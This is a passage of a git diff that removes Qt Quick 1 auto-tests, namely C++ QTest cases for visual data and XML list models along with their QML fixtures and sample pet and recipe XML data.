a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include -#include - -static void initStandardTreeModel(QStandardItemModel *model) -{ - QStandardItem *item; - item = new QStandardItem(QLatin1String("Row 1 Item")); - model->insertRow(0, item); - - item = new QStandardItem(QLatin1String("Row 2 Item")); - item->setCheckable(true); - model->insertRow(1, item); - - QStandardItem *childItem = new QStandardItem(QLatin1String("Row 2 Child Item")); - item->setChild(0, childItem); - - item = new QStandardItem(QLatin1String("Row 3 Item")); - item->setIcon(QIcon()); - model->insertRow(2, item); -} - -class SingleRoleModel : public QAbstractListModel -{ - Q_OBJECT - -public: - SingleRoleModel(QObject *parent = 0) { - QHash roles; - roles.insert(Qt::DisplayRole , "name"); - setRoleNames(roles); - list << "one" << "two" << "three" << "four"; - } - -public slots: - void set(int idx, QString string) { - list[idx] = string; - emit dataChanged(index(idx,0), index(idx,0)); - } - -protected: - int rowCount(const QModelIndex &parent = QModelIndex()) const { - return list.count(); - } - QVariant data(const QModelIndex &index, int role = Qt::DisplayRole) const { - if (role == Qt::DisplayRole) - return list.at(index.row()); - return QVariant(); - } - -private: - QStringList list; -}; - - -class tst_qdeclarativevisualdatamodel : public QObject -{ - Q_OBJECT -public: - tst_qdeclarativevisualdatamodel(); - -private slots: - void rootIndex(); - void updateLayout(); - void childChanged(); - void objectListModel(); - void singleRole(); - void modelProperties(); - void noDelegate(); - -private: - QDeclarativeEngine engine; - template - T *findItem(QGraphicsObject *parent, const QString &objectName, int index); -}; - -class DataObject : public QObject -{ - Q_OBJECT - - Q_PROPERTY(QString name READ name WRITE setName NOTIFY nameChanged) - Q_PROPERTY(QString color READ color WRITE setColor NOTIFY colorChanged) - -public: - DataObject(QObject *parent=0) : QObject(parent) {} - DataObject(const QString &name, const QString &color, QObject *parent=0) - : QObject(parent), m_name(name), m_color(color) { } - - - QString name() const { return m_name; } - void setName(const QString &name) { - if (name != m_name) { - m_name = name; - emit nameChanged(); - } - } - - QString color() const { return m_color; } - void setColor(const QString &color) { - if (color != m_color) { - m_color = color; - emit colorChanged(); - } - } - -signals: - void nameChanged(); - void colorChanged(); - -private: - QString m_name; - QString m_color; -}; - -tst_qdeclarativevisualdatamodel::tst_qdeclarativevisualdatamodel() -{ -} - -void tst_qdeclarativevisualdatamodel::rootIndex() -{ - QDeclarativeEngine engine; - QDeclarativeComponent c(&engine, QUrl::fromLocalFile(SRCDIR "/data/visualdatamodel.qml")); - - QStandardItemModel model; - initStandardTreeModel(&model); - - engine.rootContext()->setContextProperty("myModel", &model); - - QDeclarative1VisualDataModel *obj = qobject_cast(c.create()); - QVERIFY(obj != 0); - - QMetaObject::invokeMethod(obj, "setRoot"); - QVERIFY(qvariant_cast(obj->rootIndex()) == model.index(0,0)); - - QMetaObject::invokeMethod(obj, "setRootToParent"); - QVERIFY(qvariant_cast(obj->rootIndex()) == QModelIndex()); - - QMetaObject::invokeMethod(obj, "setRoot"); - QVERIFY(qvariant_cast(obj->rootIndex()) == model.index(0,0)); - model.clear(); // will emit modelReset() - QVERIFY(qvariant_cast(obj->rootIndex()) == QModelIndex()); - - delete obj; -} - -void tst_qdeclarativevisualdatamodel::updateLayout() -{ - QDeclarativeView view; - - QStandardItemModel model; - initStandardTreeModel(&model); - - view.rootContext()->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarative1Text *name = findItem(contentItem, "display", 0); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 1 Item")); - name = findItem(contentItem, "display", 1); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 2 Item")); - name = findItem(contentItem, "display", 2); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 3 Item")); - - model.invisibleRootItem()->sortChildren(0, Qt::DescendingOrder); - - name = findItem(contentItem, "display", 0); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 3 Item")); - name = findItem(contentItem, "display", 1); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 2 Item")); - name = findItem(contentItem, "display", 2); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 1 Item")); -} - -void tst_qdeclarativevisualdatamodel::childChanged() -{ - QDeclarativeView view; - - QStandardItemModel model; - initStandardTreeModel(&model); - - view.rootContext()->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarative1VisualDataModel *vdm = listview->findChild("visualModel"); - vdm->setRootIndex(QVariant::fromValue(model.indexFromItem(model.item(1,0)))); - - QDeclarative1Text *name = findItem(contentItem, "display", 0); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 2 Child Item")); - - model.item(1,0)->child(0,0)->setText("Row 2 updated child"); - - name = findItem(contentItem, "display", 0); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 2 updated child")); - - model.item(1,0)->appendRow(new QStandardItem(QLatin1String("Row 2 Child Item 2"))); - QTest::qWait(300); - - name = findItem(contentItem, "display", 1); - QVERIFY(name != 0); - QCOMPARE(name->text(), QString("Row 2 Child Item 2")); - - model.item(1,0)->takeRow(1); - name = findItem(contentItem, "display", 1); - QVERIFY(name == 0); - - vdm->setRootIndex(QVariant::fromValue(QModelIndex())); - QTest::qWait(300); - name = findItem(contentItem, "display", 0); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 1 Item")); - name = findItem(contentItem, "display", 1); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 2 Item")); - name = findItem(contentItem, "display", 2); - QVERIFY(name); - QCOMPARE(name->text(), QString("Row 3 Item")); -} - -void tst_qdeclarativevisualdatamodel::objectListModel() -{ - QDeclarativeView view; - - QList dataList; - dataList.append(new DataObject("Item 1", "red")); - dataList.append(new DataObject("Item 2", "green")); - dataList.append(new DataObject("Item 3", "blue")); - dataList.append(new DataObject("Item 4", "yellow")); - - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", QVariant::fromValue(dataList)); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/objectlist.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarative1Text *name = findItem(contentItem, "name", 0); - QCOMPARE(name->text(), QString("Item 1")); - - QDeclarative1Text *section = findItem(contentItem, "section", 0); - QCOMPARE(section->text(), QString("Item 1")); - - dataList[0]->setProperty("name", QLatin1String("Changed")); - QCOMPARE(name->text(), QString("Changed")); -} - -void tst_qdeclarativevisualdatamodel::singleRole() -{ - { - QDeclarativeView view; - - SingleRoleModel model; - - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/singlerole1.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarative1Text *name = findItem(contentItem, "name", 1); - QCOMPARE(name->text(), QString("two")); - - model.set(1, "Changed"); - QCOMPARE(name->text(), QString("Changed")); - } - { - QDeclarativeView view; - - SingleRoleModel model; - - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/singlerole2.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarative1Text *name = findItem(contentItem, "name", 1); - QCOMPARE(name->text(), QString("two")); - - model.set(1, "Changed"); - QCOMPARE(name->text(), QString("Changed")); - } -} - -void tst_qdeclarativevisualdatamodel::modelProperties() -{ - { - QDeclarativeView view; - - SingleRoleModel model; - - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/modelproperties.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarativeItem *delegate = findItem(contentItem, "delegate", 1); - QCOMPARE(delegate->property("test1").toString(),QString("two")); - QCOMPARE(delegate->property("test2").toString(),QString("two")); - QCOMPARE(delegate->property("test3").toString(),QString("two")); - QCOMPARE(delegate->property("test4").toString(),QString("two")); - QVERIFY(!delegate->property("test9").isValid()); - QCOMPARE(delegate->property("test5").toString(),QString("")); - QVERIFY(delegate->property("test6").value() != 0); - QCOMPARE(delegate->property("test7").toInt(),1); - QCOMPARE(delegate->property("test8").toInt(),1); - } - - { - QDeclarativeView view; - - QList dataList; - dataList.append(new DataObject("Item 1", "red")); - dataList.append(new DataObject("Item 2", "green")); - dataList.append(new DataObject("Item 3", "blue")); - dataList.append(new DataObject("Item 4", "yellow")); - - QDeclarativeContext *ctxt = view.rootContext(); - ctxt->setContextProperty("myModel", QVariant::fromValue(dataList)); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/modelproperties.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarativeItem *delegate = findItem(contentItem, "delegate", 1); - QCOMPARE(delegate->property("test1").toString(),QString("Item 2")); - QEXPECT_FAIL("", "QTBUG-13576", Continue); - QCOMPARE(delegate->property("test2").toString(),QString("Item 2")); - QVERIFY(qobject_cast(delegate->property("test3").value()) != 0); - QVERIFY(qobject_cast(delegate->property("test4").value()) != 0); - QCOMPARE(delegate->property("test5").toString(),QString("Item 2")); - QCOMPARE(delegate->property("test9").toString(),QString("Item 2")); - QVERIFY(delegate->property("test6").value() != 0); - QCOMPARE(delegate->property("test7").toInt(),1); - QCOMPARE(delegate->property("test8").toInt(),1); - } - - { - QDeclarativeView view; - - QStandardItemModel model; - initStandardTreeModel(&model); - - view.rootContext()->setContextProperty("myModel", &model); - - QUrl source(QUrl::fromLocalFile(SRCDIR "/data/modelproperties2.qml")); - - //3 items, 3 warnings each - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":11: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":9: ReferenceError: Can't find variable: modelData"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Cannot read property 'display' of undefined"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Cannot read property 'display' of undefined"); - QTest::ignoreMessage(QtWarningMsg, source.toString().toLatin1() + ":15: TypeError: Cannot read property 'display' of undefined"); - - view.setSource(source); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarativeItem *contentItem = listview->contentItem(); - QVERIFY(contentItem != 0); - - QDeclarativeItem *delegate = findItem(contentItem, "delegate", 1); - QCOMPARE(delegate->property("test1").toString(),QString("Row 2 Item")); - QCOMPARE(delegate->property("test2").toString(),QString("Row 2 Item")); - QVERIFY(!delegate->property("test3").isValid()); - QVERIFY(!delegate->property("test4").isValid()); - QVERIFY(!delegate->property("test5").isValid()); - QVERIFY(!delegate->property("test9").isValid()); - QVERIFY(delegate->property("test6").value() != 0); - QCOMPARE(delegate->property("test7").toInt(),1); - QCOMPARE(delegate->property("test8").toInt(),1); - } - - //### should also test QStringList and QVariantList -} - -void tst_qdeclarativevisualdatamodel::noDelegate() -{ - QDeclarativeView view; - - QStandardItemModel model; - initStandardTreeModel(&model); - - view.rootContext()->setContextProperty("myModel", &model); - - view.setSource(QUrl::fromLocalFile(SRCDIR "/data/datalist.qml")); - - QDeclarative1ListView *listview = qobject_cast(view.rootObject()); - QVERIFY(listview != 0); - - QDeclarative1VisualDataModel *vdm = listview->findChild("visualModel"); - QVERIFY(vdm != 0); - QCOMPARE(vdm->count(), 3); - - vdm->setDelegate(0); - QCOMPARE(vdm->count(), 0); -} - - -template -T *tst_qdeclarativevisualdatamodel::findItem(QGraphicsObject *parent, const QString &objectName, int index) -{ - const QMetaObject &mo = T::staticMetaObject; - //qDebug() << parent->childItems().count() << "children"; - for (int i = 0; i < parent->childItems().count(); ++i) { - QDeclarativeItem *item = qobject_cast(parent->childItems().at(i)); - if(!item) - continue; - //qDebug() << "try" << item; - if (mo.cast(item) && (objectName.isEmpty() || item->objectName() == objectName)) { - if (index != -1) { - QDeclarativeExpression e(qmlContext(item), item, "index"); - if (e.evaluate().toInt() == index) - return static_cast(item); - } else { - return static_cast(item); - } - } - item = findItem(item, objectName, index); - if (item) - return static_cast(item); - } - - return 0; -} - -QTEST_MAIN(tst_qdeclarativevisualdatamodel) - -#include "tst_qdeclarativevisualdatamodel.moc" diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/get.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/get.qml deleted file mode 100644 index 4e03503f90..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/get.qml +++ /dev/null @@ -1,61 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "name/string()" } - XmlRole { name: "type"; query: "type/string()" } - XmlRole { name: "age"; query: "age/number()" } - XmlRole { name: "size"; query: "size/string()" } - - id: root - - property bool preTest: false - property bool postTest: false - - function runPreTest() { - if (root.get(0) != undefined) - return; - - preTest = true; - } - - function runPostTest() { - if (root.get(-1) != undefined) - return; - - var row = root.get(0); - if (row.name != "Polly" || - row.type != "Parrot" || - row.age != 12 || - row.size != "Small") - return; - - row = root.get(1); - if (row.name != "Penny" || - row.type != "Turtle" || - row.age != 4 || - row.size != "Small") - return; - - row = root.get(7); - if (row.name != "Rover" || - row.type != "Dog" || - row.age != 0 || - row.size != "Large") - return; - - row = root.get(8); - if (row.name != "Tiny" || - row.type != "Elephant" || - row.age != 15 || - row.size != "Large") - return; - - if (root.get(9) != undefined) - return; - - postTest = true; - } -} - diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.qml deleted file mode 100644 index fdacb6c445..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "name/string()" } - XmlRole { name: "type"; query: "type/string()" } - XmlRole { name: "age"; query: "age/number()" } - XmlRole { name: "size"; query: "size/string()" } -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.xml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.xml deleted file mode 100644 index 40cd6d0432..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model.xml +++ /dev/null @@ -1,54 +0,0 @@ - - - Polly - Parrot - 12 - Small - - - Penny - Turtle - 4 - Small - - - Warren - Rabbit - 2 - Small - - - Spot - Dog - 9 - Medium - - - Whiskers - Cat - 2 - Medium - - - Joey - Kangaroo - 1 - - - Kimba - Bunny - 65 - Large - - - Rover - Dog - Large - - - Tiny - Elephant - 15 - Large - - diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model2.xml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model2.xml deleted file mode 100644 index dab2ec6dc0..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/model2.xml +++ /dev/null @@ -1,14 +0,0 @@ - - - Polly - Parrot - 12 - Small - - - Penny - Turtle - 4 - Small - - diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/propertychanges.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/propertychanges.qml deleted file mode 100644 index ed674ce36f..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/propertychanges.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { objectName: "role"; name: "name"; query: "name/string()" } - XmlRole { name: "type"; query: "type/string()" } - XmlRole { name: "age"; query: "age/number()" } - XmlRole { name: "size"; query: "size/string()" } -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.qml deleted file mode 100644 index 6345101d9a..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "recipes.xml" - query: "/recipes/recipe" - XmlRole { name: "title"; query: "@title/string()" } - XmlRole { name: "picture"; query: "picture/string()" } - XmlRole { name: "ingredients"; query: "ingredients/string()" } - XmlRole { name: "preparation"; query: "method/string()" } -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.xml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.xml deleted file mode 100644 index d71de60710..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/recipes.xml +++ /dev/null @@ -1,90 +0,0 @@ - - - content/pics/pancakes.jpg - -
    -
  • 1 cup (150g) self-raising flour -
  • 1 tbs caster sugar -
  • 3/4 cup (185ml) milk -
  • 1 egg -
- - ]]>
- -
    -
  1. Sift flour and sugar together into a bowl. Add a pinch of salt. -
  2. Beat milk and egg together, then add to dry ingredients. Beat until smooth. -
  3. Pour mixture into a pan on medium heat and cook until bubbles appear on the surface. -
  4. Turn over and cook other side until golden. -
- - ]]>
-
- - content/pics/fruit-salad.jpg - - - - - content/pics/vegetable-soup.jpg - -
    -
  • 1 onion -
  • 1 turnip -
  • 1 potato -
  • 1 carrot -
  • 1 head of celery -
  • 1 1/2 litres of water -
- - ]]>
- -
    -
  1. Chop vegetables. -
  2. Boil in water until vegetables soften. -
  3. Season with salt and pepper to taste. -
- - ]]>
-
- - content/pics/hamburger.jpg - -
    -
  • 500g minced beef -
  • Seasoning -
  • lettuce, tomato, onion, cheese -
  • 1 hamburger bun for each burger -
- - ]]>
- -
    -
  1. Mix the beef, together with seasoning, in a food processor. -
  2. Shape the beef into burgers. -
  3. Grill the burgers for about 5 mins on each side (until cooked through) -
  4. Serve each burger on a bun with ketchup, cheese, lettuce, tomato and onion. -
- - ]]>
-
- - content/pics/lemonade.jpg - -
    -
  • 1 cup Lemon Juice -
  • 1 cup Sugar -
  • 6 Cups of Water (2 cups warm water, 4 cups cold water) -
- - ]]>
- -
    -
  1. Pour 2 cups of warm water into a pitcher and stir in sugar until it dissolves. -
  2. Pour in lemon juice, stir again, and add 4 cups of cold water. -
  3. Chill or serve over ice cubes. -
- - ]]>
-
-
diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleCrash.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleCrash.qml deleted file mode 100644 index 492dad920f..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleCrash.qml +++ /dev/null @@ -1,7 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - id: model - XmlRole {} - Component.onCompleted: model.roles = 0 -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleErrors.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleErrors.qml deleted file mode 100644 index a0d846f188..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleErrors.qml +++ /dev/null @@ -1,10 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "/name/string()" } //starts with '/' - XmlRole { name: "type"; query: "type" } //no type - XmlRole { name: "age"; query: "age/" } //ends with '/' - XmlRole { name: "size"; query: "size/number()" } //wrong type -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleKeys.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleKeys.qml deleted file mode 100644 index d90cd61096..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/roleKeys.qml +++ /dev/null @@ -1,13 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - query: "/data/item" - XmlRole { id: nameRole; name: "name"; query: "name/string()"; isKey: true } - XmlRole { name: "age"; query: "age/number()"; isKey: true } - XmlRole { name: "sport"; query: "sport/string()" } - - function disableNameKey() { - nameRole.isKey = false; - } -} - diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/testtypes.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/testtypes.qml deleted file mode 100644 index 4dbcc029e0..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/testtypes.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - query: "/data" - XmlRole { name: "stringValue"; query: "a-string/string()" } - XmlRole { name: "numberValue"; query: "a-number/number()" } -} - diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/unique.qml b/tests/auto/qtquick1/qdeclarativexmllistmodel/data/unique.qml deleted file mode 100644 index dab8ffa78e..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/data/unique.qml +++ /dev/null @@ -1,8 +0,0 @@ -import QtQuick 1.0 - -XmlListModel { - source: "model.xml" - query: "/Pets/Pet" - XmlRole { name: "name"; query: "name/string()" } - XmlRole { name: "name"; query: "type/string()" } -} diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro b/tests/auto/qtquick1/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro deleted file mode 100644 index fc74409802..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/qdeclarativexmllistmodel.pro +++ /dev/null @@ -1,11 +0,0 @@ -CONFIG += testcase -TARGET = tst_qdeclarativexmllistmodel -macx:CONFIG -= app_bundle - -SOURCES += tst_qdeclarativexmllistmodel.cpp - -DEFINES += SRCDIR=\\\"$$PWD\\\" - -CONFIG += parallel_test - -QT += core-private gui-private widgets-private v8-private declarative-private qtquick1-private network testlib xmlpatterns diff --git a/tests/auto/qtquick1/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp b/tests/auto/qtquick1/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp deleted file mode 100644 index 77c8322e03..0000000000 --- a/tests/auto/qtquick1/qdeclarativexmllistmodel/tst_qdeclarativexmllistmodel.cpp +++ /dev/null @@ -1,954 +0,0 @@ -/**************************************************************************** -** -** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies). -** Contact: http://www.qt-project.org/ -** -** This file is part of the test suite of the Qt Toolkit. -** -** $QT_BEGIN_LICENSE:LGPL$ -** GNU Lesser General Public License Usage -** This file may be used under the terms of the GNU Lesser General Public -** License version 2.1 as published by the Free Software Foundation and -** appearing in the file LICENSE.LGPL included in the packaging of this -** file. Please review the following information to ensure the GNU Lesser -** General Public License version 2.1 requirements will be met: -** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html. -** -** In addition, as a special exception, Nokia gives you certain additional -** rights. These rights are described in the Nokia Qt LGPL Exception -** version 1.1, included in the file LGPL_EXCEPTION.txt in this package. -** -** GNU General Public License Usage -** Alternatively, this file may be used under the terms of the GNU General -** Public License version 3.0 as published by the Free Software Foundation -** and appearing in the file LICENSE.GPL included in the packaging of this -** file. Please review the following information to ensure the GNU General -** Public License version 3.0 requirements will be met: -** http://www.gnu.org/copyleft/gpl.html. -** -** Other Usage -** Alternatively, this file may be used in accordance with the terms and -** conditions contained in a signed written agreement between you and Nokia. -** -** -** -** -** -** -** $QT_END_LICENSE$ -** -****************************************************************************/ -#include - -#include -#include -#include - -#include -#include -#include -#include -#include -#include -#include -#include - -#include -#include -#include - -typedef QPair QDeclarativeXmlListRange; -typedef QList QDeclarativeXmlModelData; - -Q_DECLARE_METATYPE(QList) -Q_DECLARE_METATYPE(QDeclarativeXmlModelData) -Q_DECLARE_METATYPE(QDeclarative1XmlListModel::Status) - -class tst_qdeclarativexmllistmodel : public QObject - -{ - Q_OBJECT -public: - tst_qdeclarativexmllistmodel() {} - -private slots: - void initTestCase() { - qRegisterMetaType("QDeclarative1XmlListModel::Status"); - } - - void buildModel(); - void testTypes(); - void testTypes_data(); - void cdata(); - void attributes(); - void roles(); - void roleErrors(); - void uniqueRoleNames(); - void headers(); - void xml(); - void xml_data(); - void source(); - void source_data(); - void data(); - void get(); - void reload(); - void useKeys(); - void useKeys_data(); - void noKeysValueChanges(); - void keysChanged(); - void threading(); - void threading_data(); - void propertyChanges(); - - void roleCrash(); - -private: - QString makeItemXmlAndData(const QString &data, QDeclarativeXmlModelData *modelData = 0) const - { - if (modelData) - modelData->clear(); - QString xml; - - if (!data.isEmpty()) { - QStringList items = data.split(";"); - foreach(const QString &item, items) { - if (item.isEmpty()) - continue; - QVariantList variants; - xml += QLatin1String(""); - QStringList fields = item.split(","); - foreach(const QString &field, fields) { - QStringList values = field.split("="); - if (values.count() != 2) { - qWarning() << "makeItemXmlAndData: invalid field:" << field; - continue; - } - xml += QString("<%1>%2").arg(values[0], values[1]); - if (!modelData) - continue; - bool isNum = false; - int number = values[1].toInt(&isNum); - if (isNum) - variants << number; - else - variants << values[1]; - } - xml += QLatin1String(""); - if (modelData) - modelData->append(variants); - } - } - - QString decl = ""; - return decl + QLatin1String("") + xml + QLatin1String(""); - } - - QDeclarativeEngine engine; -}; - -class CustomNetworkAccessManagerFactory : public QObject, public QDeclarativeNetworkAccessManagerFactory -{ - Q_OBJECT -public: - QVariantMap lastSentHeaders; - -protected: - QNetworkAccessManager *create(QObject *parent); -}; - -class CustomNetworkAccessManager : public QNetworkAccessManager -{ - Q_OBJECT -public: - CustomNetworkAccessManager(CustomNetworkAccessManagerFactory *factory, QObject *parent) - : QNetworkAccessManager(parent), m_factory(factory) {} - -protected: - QNetworkReply *createRequest(Operation op, const QNetworkRequest &req, QIODevice * outgoingData = 0) - { - if (m_factory) { - QVariantMap map; - foreach (const QString &header, req.rawHeaderList()) - map[header] = req.rawHeader(header.toUtf8()); - m_factory->lastSentHeaders = map; - } - return QNetworkAccessManager::createRequest(op, req, outgoingData); - } - - QPointer m_factory; -}; - -QNetworkAccessManager *CustomNetworkAccessManagerFactory::create(QObject *parent) -{ - return new CustomNetworkAccessManager(this, parent); -} - - -void tst_qdeclarativexmllistmodel::buildModel() -{ - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/model.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - QTRY_COMPARE(model->count(), 9); - - QList roles; - roles << Qt::UserRole << Qt::UserRole + 1 << Qt::UserRole + 2 << Qt::UserRole + 3; - QHash data = model->data(3, roles); - QVERIFY(data.count() == 4); - QCOMPARE(data.value(Qt::UserRole).toString(), QLatin1String("Spot")); - QCOMPARE(data.value(Qt::UserRole+1).toString(), QLatin1String("Dog")); - QCOMPARE(data.value(Qt::UserRole+2).toInt(), 9); - QCOMPARE(data.value(Qt::UserRole+3).toString(), QLatin1String("Medium")); - - delete model; -} - -void tst_qdeclarativexmllistmodel::testTypes() -{ - QFETCH(QString, xml); - QFETCH(QString, roleName); - QFETCH(QVariant, expectedValue); - - QDeclarativeComponent component(&engine, QUrl::fromLocalFile(SRCDIR "/data/testtypes.qml")); - QDeclarative1XmlListModel *model = qobject_cast(component.create()); - QVERIFY(model != 0); - model->setXml(xml.toUtf8()); - model->reload(); - QTRY_COMPARE(model->count(), 1); - - int role = -1; - foreach (int i, model->roles()) { - if (model->toString(i) == roleName) { - role = i; - break; - } - } - QVERIFY(role >= 0); - - if (expectedValue.toString() == "nan") - QVERIFY(qIsNaN(model->data(0, role).toDouble())); - else - QCOMPARE(model->data(0, role), expectedValue); - - delete model; -} - -void tst_qdeclarativexmllistmodel::testTypes_data() -{ - QTest::addColumn("xml"); - QTest::addColumn("roleName"); - QTest::addColumn("expectedValue"); - - QTest::newRow("missing string field") << "" - << "stringValue" << QVariant(""); - QTest::newRow("empty string") << "" - << "stringValue" << QVariant(""); - QTest::newRow("1-char string") << "5" - << "stringValue" << QVariant("5"); - QTest::newRow("string ok") << "abc def g" - << "stringValue" << QVariant("abc def g"); - - 